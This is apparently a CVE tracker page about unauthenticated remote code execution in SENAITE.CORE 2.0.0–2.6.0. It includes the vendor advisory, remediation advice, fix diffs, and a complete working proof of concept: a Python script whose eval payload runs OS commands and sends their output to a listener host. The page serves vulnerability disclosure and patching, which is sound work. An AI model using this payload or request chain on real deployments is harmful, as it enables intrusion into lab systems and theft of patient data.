Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach exposed SENAITE HTTP port
-
DeliveryGET /bika_setup/@@uuid for object UID
-
ExploitPOST /@@API/update with RecordsField payload
-
Executioneval() runs Python in Zope worker
-
PersistExecute OS commands / access ZODB
-
ImpactCreate admin via acl_users for persistence
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No credentials are required: exploitation works against a default SENAITE/Plone configuration where the Site root grants View to Anonymous (the upstream default) and the /@@API/ JSON API endpoints are network-reachable - matching the stock senaite/senaite:v2.6.0 Docker image that exposes 8080 in plain HTTP. The specific prerequisites are (1) an anonymously-readable object with a RecordsField or RecordField (e.g. bika_setup, which exposes RejectionReasons and IDFormatting), and (2) the unpatched update/update_many/remove/doActionFor/getusers routes that lack the AccessJSONAPI check. What LIMITS exploitation: if an operator has removed the Anonymous View grant at the Site root, restricted access to /@@API/ endpoints, or upgraded past the eval sink, the unauthenticated chain breaks; even then the eval sink stays reachable to any authenticated user holding write permission on a RecordsField. Affected versions are strictly senaite.core 2.0.0-2.6.0. |
| Impact | This is a genuine top-priority issue, not a high-CVSS-but-low-real-risk case. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8) is internally consistent with the described attack: network-reachable, no authentication, no user interaction, and a fully working two-request PoC against an unmodified upstream Docker image, so the exploitability signals reinforce rather than conflict with each other. No EPSS score was provided in the input, and the CVE is not in CISA KEV, so there is no evidence of mass in-the-wild exploitation yet - but the presence of reliable public exploit code sharply raises the near-term probability. The main factor tempering absolute risk is deployment footprint: SENAITE is a niche healthcare/lab LIMS, so the population of exposed instances is small compared to mainstream web software, which favors targeted rather than widespread exploitation. Any internet- or LAN-exposed SENAITE instance with the default Anonymous View grant should be treated as critical and patched immediately. |
| Exploit ScenarioDerived | An attacker who can reach the SENAITE HTTP port sends an anonymous GET to /senaite/bika_setup/@@uuid to learn the bika_setup object UID, then POSTs to /senaite/@@API/update with that obj_uid and a RejectionReasons value containing a Python payload such as __import__('os').popen('id').read(). The eval() call executes it in the Zope worker with no credentials, and the published PoC confirms this by exfiltrating command output to an attacker listener. Given AV:N/AC:L and public exploit code, the attack is trivial to automate against any exposed instance. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 26, 2026
Unauthenticated remote code execution in SENAITE.CORE (senaite.core) 2.0.0 through 2.6.0 lets any network-reachable attacker run arbitrary Python in the Zope worker process by chaining a missing authorization check with an eval() sink in the JSON API. The anonymous-reachable /@@API/update route calls eval() on attacker-supplied RecordsField/RecordField values before any permission or write check fires, and a public working PoC (tested against the stock senaite/senaite:v2.6.0 Docker image) demonstrates credential-free command execution. Publicly available exploit code exists; the flaw is not listed in CISA KEV, so there is no confirmation of active exploitation.
RemediationAI
Upgrade to a SENAITE.CORE release that incorporates the upstream fixes in pull requests #2903 (https://github.com/senaite/senaite.core/pull/2903) and #2919 (https://github.com/senaite/senaite.core/pull/2919), which replace eval() with a safe ast.literal_eval-based parse_record_literal helper (commits a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74 and ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7); no fixed release version is recorded in the advisory package metadata, so confirm the target tag with the vendor before deploying. Both fixes are needed - the authorization gate alone still leaves the eval sink reachable to authenticated users with RecordsField write access, and the eval fix alone still leaves the routes unauthenticated. If you cannot patch immediately, apply compensating controls: block network access to the /@@API/ JSON API routes at a reverse proxy or firewall (side effect - breaks any legitimate JSON API integrations), remove Anonymous View from the Plone Site root where feasible (side effect - may break intended public read access and login flows), and do not expose the Zope port (8080) or the /manage ZMI directly to untrusted networks. As defense-in-depth, re-enable Plone's CSRF protection by removing the IDisableCSRFProtection inheritance on ISenaiteCore, which closes several authenticated CSRF chains though it does not affect this unauthenticated path.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SENAITE is an open-source Laboratory Information Management System (LIMS) built on Plone/Zope. The JSON API ships as part of the bika.lims package and registers routes through plone.jsonapi.core, whose @@API view is bound to the zope2.View permission that Plone grants to Anonymous at the site root. Two root causes combine: CWE-862 (Missing Authorization) because the update/update_many/remove/doActionFor/getusers routes omit the AccessJSONAPI permission gate that the sibling create.py route enforces, and CWE-95 (Eval Injection) because set_fields_from_request in jsonapi/__init__.py (line ~240), and the field setters in record.py and records.py, call Python's eval() directly on raw request strings for RecordField/RecordsField values. Because eval() runs with full builtins, __import__('os').popen(...) yields OS command execution. The affected package is pkg:pip/senaite.core; the bika_setup object (anonymous-readable via acquired View) exposes RecordsField-typed fields (RejectionReasons, IDFormatting) whose UID is disclosed by Plone's standard @@uuid view, giving the attacker the object handle needed to reach the sink.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Anonymous, network-reachable two-request chain with no user interaction against default config yields AV:N/AC:L/PR:N/UI:N; arbitrary Python in the worker gives full C/I/A within the same security scope.
Primary rating from Vendor (https://github.com/senaite/senaite.core).
CVSS VectorVendor: https://github.com/senaite/senaite.core
DescriptionCVE.org
Summary
An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The /@@API/update route is reachable to anonymous callers and runs eval() on attacker-controlled input before any permission check fires.
This is a different code path from the eval() in the calculations module: no authenticated account of any kind is required.
Details
The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the eval sink remains exploitable by any authenticated user with write access to a RecordsField, so both fixes are needed.
1. Missing AccessJSONAPI gate on JSON API write routes (CWE-862). The route at src/bika/lims/jsonapi/update.py:45-165 does not enforce the senaite.core: Access JSON API permission upfront. Compare with the sibling create.py:179-182, which does:
if not getSecurityManager().checkPermission(AccessJSONAPI, parent):
raise Unauthorized(...)The check is present on create and absent on update, update_many, remove, doActionFor, doActionFor_many, and getusers. The underlying @@API view is registered by plone.jsonapi.core at browser/configure.zcml:8-13 with permission="zope2.View", which is granted to Anonymous on the Plone Site root.
When an obj_uid is supplied, the route resolves the target through uid_catalog and brain.getObject(). The catalog brain walks the parent path with unrestrictedTraverse and applies restrictedTraverse only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because bika_setup is anonymous-readable on a stock Plone Site (the View permission is acquired from the Plone Site root, which grants View to Anonymous by default).
2. eval() on RecordsField / RecordField values inside set_fields_from_request (CWE-95). Once an object has been resolved, set_fields_from_request in jsonapi/__init__.py:199-252 iterates the request fields. For any field of type RecordsField or RecordField, the helper runs eval(value) on the raw request string at line 240, before the field mutator and its write_permission check execute:
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
'senaite.core.browser.fields.record.RecordField']:
try:
value = eval(value)
except Exception:
logger.warning(
"JSONAPI: " + fieldname + ": Invalid "
"JSON/Python variable")
return []The eval runs in the Zope worker process with full Python builtins available, so a payload such as __import__('os').popen('id').read() executes arbitrary system commands. The transaction savepoint inside update.py rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.
The same eval() pattern is also present in the field setters at record.py:253-262 and records.py:135-143.
Anonymous UID discovery. The bika_setup object exposes two RecordsField-typed fields: RejectionReasons and IDFormatting. Its UID is published anonymously by Plone's standard @@uuid view:
GET /senaite/bika_setup/@@uuid HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/plain
8dbc161fa9f74aa4ad6e76eb1934518aOrigin. Both flaws predate the SENAITE fork. The eval() sink was introduced in d7bf2d4507 (2013-09-04) and the unchecked update route in be3d8cc916 (2013). Both remain present on the current 2.x development tip.
Suggested fixes
Fix 1: add AccessJSONAPI check to every state-changing route in src/bika/lims/jsonapi/, mirroring the existing check in create.py. An audit of every IRouteProvider in configure.zcml is in scope.
# src/bika/lims/jsonapi/update.py
from AccessControl import getSecurityManager
from zExceptions import Unauthorized
from senaite.core.permissions import AccessJSONAPI
def update(self, context, request):
if not getSecurityManager().checkPermission(AccessJSONAPI, context):
raise Unauthorized("You don't have permission to update via JSONAPI")
savepoint = transaction.savepoint()
...Fix 2: replace eval() with json.loads(). The data shape stored in RecordField and RecordsField is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:
# src/bika/lims/jsonapi/__init__.py
import json
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
'senaite.core.browser.fields.record.RecordField']:
try:
value = json.loads(value)
except (ValueError, TypeError):
logger.warning("JSONAPI: %s: invalid JSON value", fieldname)
return []Apply the same change at record.py:253-262 and records.py:135-143.
Defense in depth: re-enable Plone's CSRF protection. The audited release ships with class ISenaiteCore(IDisableCSRFProtection) at src/senaite/core/interfaces/__init__.py:30, which disables plone.protect's automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.
PoC
Tested against the unmodified upstream Docker image senaite/senaite:v2.6.0. No source-code modification, no buildout overrides, no reverse proxy. PASSWORD is set to a non-default value to demonstrate that the chain works without the admin:admin Docker fallback.
docker-compose.yml
services:
senaite:
image: senaite/senaite:v2.6.0
ports:
- "8080:8080"
environment:
PASSWORD: senaitestrong
# non-default; chain is credential-free
SITE: senaite
networks:
- poc
listener:
image: python:3.11-alpine
command:
- python
- -c
- |
import http.server, socketserver
log = []
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith('/log'):
self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers()
self.wfile.write(('\n'.join(log)).encode())
else:
log.append(self.path)
self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
def log_message(self, *a, **k): pass
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever()
ports:
- "8000:8000"
networks:
- poc
networks:
poc:poc.py
#!/usr/bin/env python3
"""PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0"""
import sys, time, urllib.error, urllib.parse, urllib.request
TARGET = "http://localhost:8080"
SITE = "senaite"
LISTENER_HOST = "http://localhost:8000"
LISTENER_INSIDE = "http://listener:8000"
PAYLOAD = (
"__import__('urllib2').urlopen("
f"'{LISTENER_INSIDE}/?id=' + "
"__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')"
")"
)
def http_get(url, timeout=5):
req = urllib.request.Request(url, headers={"Accept": "*/*"})
return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def http_post(url, fields, timeout=10):
body = urllib.parse.urlencode(fields).encode()
req = urllib.request.Request(url, data=body, method="POST")
return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def wait_for_target():
deadline = time.time() + 600
while time.time() < deadline:
try:
with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r:
if r.status == 200: return
except Exception: pass
time.sleep(3)
sys.exit(1)
def discover_bika_setup_uid():
body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip()
if len(body) == 32 and all(c in "0123456789abcdef" for c in body):
return body
sys.exit(1)
def fire_payload(uid):
try:
http_post(f"{TARGET}/{SITE}/@@API/update",
{"obj_uid": uid, "RejectionReasons": PAYLOAD})
except urllib.error.HTTPError:
pass
def read_listener():
time.sleep(1)
try:
log = http_get(f"{LISTENER_HOST}/log", timeout=3)
except Exception:
return False
return "id=" in log
if __name__ == "__main__":
wait_for_target()
uid = discover_bika_setup_uid()
fire_payload(uid)
sys.exit(0 if read_listener() else 1)Run
docker compose up -d
# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning
python3 poc.pyExpected output
[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0
captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_The captured query string is the stdout of id from the SENAITE Zope worker, fetched by the worker's urllib2.urlopen call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.
Impact
Vulnerability type: Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).
Who is impacted: Every SENAITE deployment whose Plone Site root grants View to Anonymous (the upstream default) and whose /@@API/... endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships 8080:8080 plain HTTP and /manage (ZMI) exposed.
Attacker capability after exploit:
- Arbitrary Python execution in the Zope worker process.
- Full read/write access to the ZODB (
Data.fsandblobstorage), so any patient/lab data the LIMS holds. - Filesystem access on the container's
/datavolume. - Outbound network egress from the worker.
- Direct access to
acl_users(the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed/manageZMI, this gives durable post-exploitation access.
Affected versions: All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).
Credits
Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.
- Dr. Simon Weber
- Dipl.-Inf. Volker Schönefeld
- Chiara Fliegner
Website: https://machinespirits.com
Articles & Coverage 1
Executive ViewAI
SENAITE.CORE versions 2.0.0 through 2.6.0 contain a critical unauthenticated remote code execution vulnerability enabling attackers to execute arbitrary Python code without authentication. Publicly available exploit code exists for this vulnerability. Any organization deploying these versions faces immediate risk of complete system compromise and data exfiltration.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-66596
GHSA-jrw6-7x4q-w25j
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB